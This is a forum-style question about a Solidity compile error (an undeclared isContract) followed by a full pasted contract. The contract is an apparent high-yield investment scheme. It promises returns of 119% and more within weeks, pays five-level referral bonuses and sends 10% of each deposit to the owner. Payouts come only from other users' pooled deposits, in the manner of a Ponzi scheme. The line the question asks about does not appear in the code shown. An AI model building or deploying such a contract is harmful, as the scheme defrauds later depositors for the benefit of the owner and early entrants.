I'm trying to integrate a launch function into a smart contract, however I'm running into an error. When I compile the smart contract I get the following output error: DeclarationError: Undeclared identifier. The error is in line 49 for require(!isContract(wallet)); Why this doesn't work or am I missing something here?
pragma solidity >=0.8.0;
struct Tarif {
uint8 life_days;
uint8 percent;
}
struct Deposit {
uint8 tarif;
uint256 amount;
uint40 time;
}
struct Player {
address upline;
uint256 dividends;
uint256 match_bonus;
uint40 last_payout;
uint256 total_invested;
uint256 total_withdrawn;
uint256 total_match_bonus;
Deposit[] deposits;
uint256[5] structure; // length has been got from bonus lines number
}
contract TestdApp {
address public owner;
uint256 public invested;
uint256 public withdrawn;
uint256 public match_bonus;
uint8 constant BONUS_LINES_COUNT = 5;
uint16 constant PERCENT_DIVIDER = 1000; // 100 * 10
uint8[BONUS_LINES_COUNT] public ref_bonuses = [50, 30, 20, 10, 5]; // 5%, 3%, 2%, 1%, 0.5%
mapping(uint8 => Tarif) public tarifs;
mapping(address => Player) public players;
event Upline(address indexed addr, address indexed upline, uint256 bonus);
event NewDeposit(address indexed addr, uint256 amount, uint8 tarif);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
constructor() {
owner = msg.sender;
uint8 tarifPercent = 119;
for (uint8 tarifDuration = 7; tarifDuration <= 30; tarifDuration++) {
tarifs[tarifDuration] = Tarif(tarifDuration, tarifPercent);
tarifPercent+= 5;
}
}
function _payout(address _addr) private {
uint256 payout = this.payoutOf(_addr);
if(payout > 0) {
players[_addr].last_payout = uint40(block.timestamp);
players[_addr].dividends += payout;
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = players[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
uint256 bonus = _amount * ref_bonuses[i] / PERCENT_DIVIDER;
players[up].match_bonus += bonus;
players[up].total_match_bonus += bonus;
match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
up = players[up].upline;
}
}
function _setUpline(address _addr, address _upline, uint256 _amount) private {
if(players[_addr].upline == address(0) && _addr != owner) {
if(players[_upline].deposits.length == 0) {
_upline = owner;
}
players[_addr].upline = _upline;
emit Upline(_addr, _upline, _amount / 100);
for(uint8 i = 0; i < BONUS_LINES_COUNT; i++) {
players[_upline].structure[i]++;
_upline = players[_upline].upline;
if(_upline == address(0)) break;
}
}
}
function deposit(uint8 _tarif, address _upline) external payable {
require(tarifs[_tarif].life_days > 0, "Tarif not found");
require(msg.value >= 0.1 ether, "Minimum deposit amount is 0.1 AVAX");
Player storage player = players[msg.sender];
require(player.deposits.length < 100, "Max 100 deposits per address");
_setUpline(msg.sender, _upline, msg.value);
player.deposits.push(Deposit({
tarif: _tarif,
amount: msg.value,
time: uint40(block.timestamp)
}));
player.total_invested += msg.value;
invested += msg.value;
_refPayout(msg.sender, msg.value);
payable(owner).transfer(msg.value / 10);
emit NewDeposit(msg.sender, msg.value, _tarif);
}
function withdraw() external {
Player storage player = players[msg.sender];
_payout(msg.sender);
require(player.dividends > 0 || player.match_bonus > 0, "Zero amount");
uint256 amount = player.dividends + player.match_bonus;
player.dividends = 0;
player.match_bonus = 0;
player.total_withdrawn += amount;
withdrawn += amount;
payable(msg.sender).transfer(amount);
emit Withdraw(msg.sender, amount);
}
function payoutOf(address _addr) view external returns(uint256 value) {
Player storage player = players[_addr];
for(uint256 i = 0; i < player.deposits.length; i++) {
Deposit storage dep = player.deposits[i];
Tarif storage tarif = tarifs[dep.tarif];
uint40 time_end = dep.time + tarif.life_days * 86400;
uint40 from = player.last_payout > dep.time ? player.last_payout : dep.time;
uint40 to = block.timestamp > time_end ? time_end : uint40(block.timestamp);
if(from < to) {
value += dep.amount * (to - from) * tarif.percent / tarif.life_days / 8640000;
}
}
return value;
}
/*
Only external call
*/
function userInfo(address _addr) view external returns(uint256 for_withdraw, uint256 total_invested, uint256 total_withdrawn, uint256 total_match_bonus, uint256[BONUS_LINES_COUNT] memory structure) {
Player storage player = players[_addr];
uint256 payout = this.payoutOf(_addr);
for(uint8 i = 0; i < ref_bonuses.length; i++) {
structure[i] = player.structure[i];
}
return (
payout + player.dividends + player.match_bonus,
player.total_invested,
player.total_withdrawn,
player.total_match_bonus,
structure
);
}
function contractInfo() view external returns(uint256 _invested, uint256 _withdrawn, uint256 _match_bonus) {
return (invested, withdrawn, match_bonus);
}
}